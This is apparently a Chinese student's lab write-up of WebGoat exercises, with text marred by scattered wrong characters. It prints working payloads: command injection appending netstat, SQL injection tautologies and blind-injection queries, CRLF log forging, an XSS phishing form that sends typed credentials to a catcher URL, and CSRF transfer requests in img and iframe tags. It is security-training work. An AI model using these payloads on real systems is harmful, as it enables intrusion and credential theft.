1.安装WebGoatjavascript
从学长博客的云盘里下载了WebGoat,输入命令java -jar webgoat-container-7.1-exec.jar运行WebGoatjava
2.而后在浏览器中打开http://localhost:8080/WebGoat进入登陆界面:linux
3.而后发现并无左边的课程之类的。询问了同窗发现是JDK的问题,须要下载版本低一点的JDK。如下是JDK安装过程git
(1)将下载好的JDK包提取出来,开始拷贝目录 ,手动安装 (注意文件夹名根据本身的实际状况来设定)程序员
sudo mkdir -p /usr/local/java
cp -r jdk-8u11-linux-x64/ /usr/local/java/
(2)配置JDK的环境变量输入命令 sudo gedit /etc/profile ,复制如下内容追加到文件末尾(注意文件夹名根据本身的实际状况来设定)web
JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
(3)告诉系统JDK的位置,并设置新的JDK为默认。(命令须要输两次,执行两次)sql
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws
(4)重载Profile文件,输入命令 java -version 查看Java版本号浏览器
(5)成功访问webgoat安全
原理:在正常的参数提交过程当中,添加恶意的代码,从而得到一些信息。服务器
(1)右键表单选择框的下拉框,选择Inspect Element(Q),而后修改源代码,在任意位置加上 & netstat -an & ipconfig
(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络链接状况了
原理大概就是这里有一个SQL语句 SELECT * FROM weather_data WHERE station = [station] ,能够拦截报文将station字段后补充成一个永真式101 OR 1=1。
(1)右键网页,点击inspect Element
,查看并编辑网页源代码,在option value
中加入恒等真式or 1=1
(2)因为1=1恒成立,点击go,看到全部城市的天气,成功。
日志伪造,目的是经过注入恶意字符串,按照规则伪造出一条日志。
(1)在Username输入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a为CRLF换行符
(2)点击login in
就能够看到成功啦
意思大概是你的帐号是Mike/test123,目标是尝试查看其余员工的数据,经过尝试构造永真式来实现。
(1)在User Name
中输入永真式 4316zzy ' or 1=1 or 'a' ='a
(2)点击submit
就能够看到全部员工的数据了
原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。
(1)因为密码的长度有限制,因此咱们先修改密码输入框的容许输入长度。将maxlength
设置为25甚至更大。
(2)就能够以admin
的身份登陆,密码框里输入 ' or 1=1 -- ,而后就能成功以John
的身份登陆成功。能够查看任意用户的信息等等。
绕过认证执行SQL注入,使登陆Larry帐户,可是能查看Boss的信息。和以前的想法同样,咱们只需将employee_id参数修改成: 101 or 1=1 order by salary desc
数字盲注,有些时候存在SQL注入,可是获取不到咱们须要的信息,此时能够经过SQL语句的条件判断,进行盲注。
(1)使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
(2)若是页面提示账号有效,说明 PIN>10000
不然PIN<=10000
。不断调整数值,能够缩小判断范围,并最终判断出 PIN 数值的大小。
(3)最终以下语句返回账号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
根据返回的提示来判断name的范围,直至返回成功,而后把Jill输入表单,提交,以下图所示:
(1)使用XSS和HTML插入制做一个钓鱼网站,代码以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
(2)点击search
后,下拉网页就能够看到输入框了,在里面输入任意字符,点击login
,就能够看到攻击成功了
最典型的储存型XSS的例子——留言板,由于能够输入任何信息,若是有人进行了恶意留言,那么以后的人便会中招。
(1)在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20164316zzy!");</script>
(2)点击生成的留言板就能攻击成功。
(1)在Enter your three digit access code
中输入以下代码: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 点击Purchase
,成功显示警告框,内容为咱们script脚本写的20164316zhangziyao attack!。攻击成功。
实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
(1)在Title输入:4316zzy,在Message输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该连接,当前页面就会下载这个消息并显示出来。
(1)在Title输入:20164316zzy;在Message输入:
<iframe src="attack?Screen=280&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe>
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该连接
(1)SQL注入攻击原理,如何防护
(2)XSS攻击的原理,如何防护
(3)CSRF攻击原理,如何防护
这是最后一次实验了,经过webgoat深刻理解并运用了多种攻击,尝试了不少东西,能够说是很是有意思了,固然也碰到了不少问题,可是发现沉下心来认真解决仍是颇有成就感的!虽然有一些浪费时间...总的来讲,这门课我收获良多,虽然也许在现实中并不能成功攻击他人,可是可以认识而且作出相应的防范了。学习到了很多的东西,也进行了屡次的实践与尝试。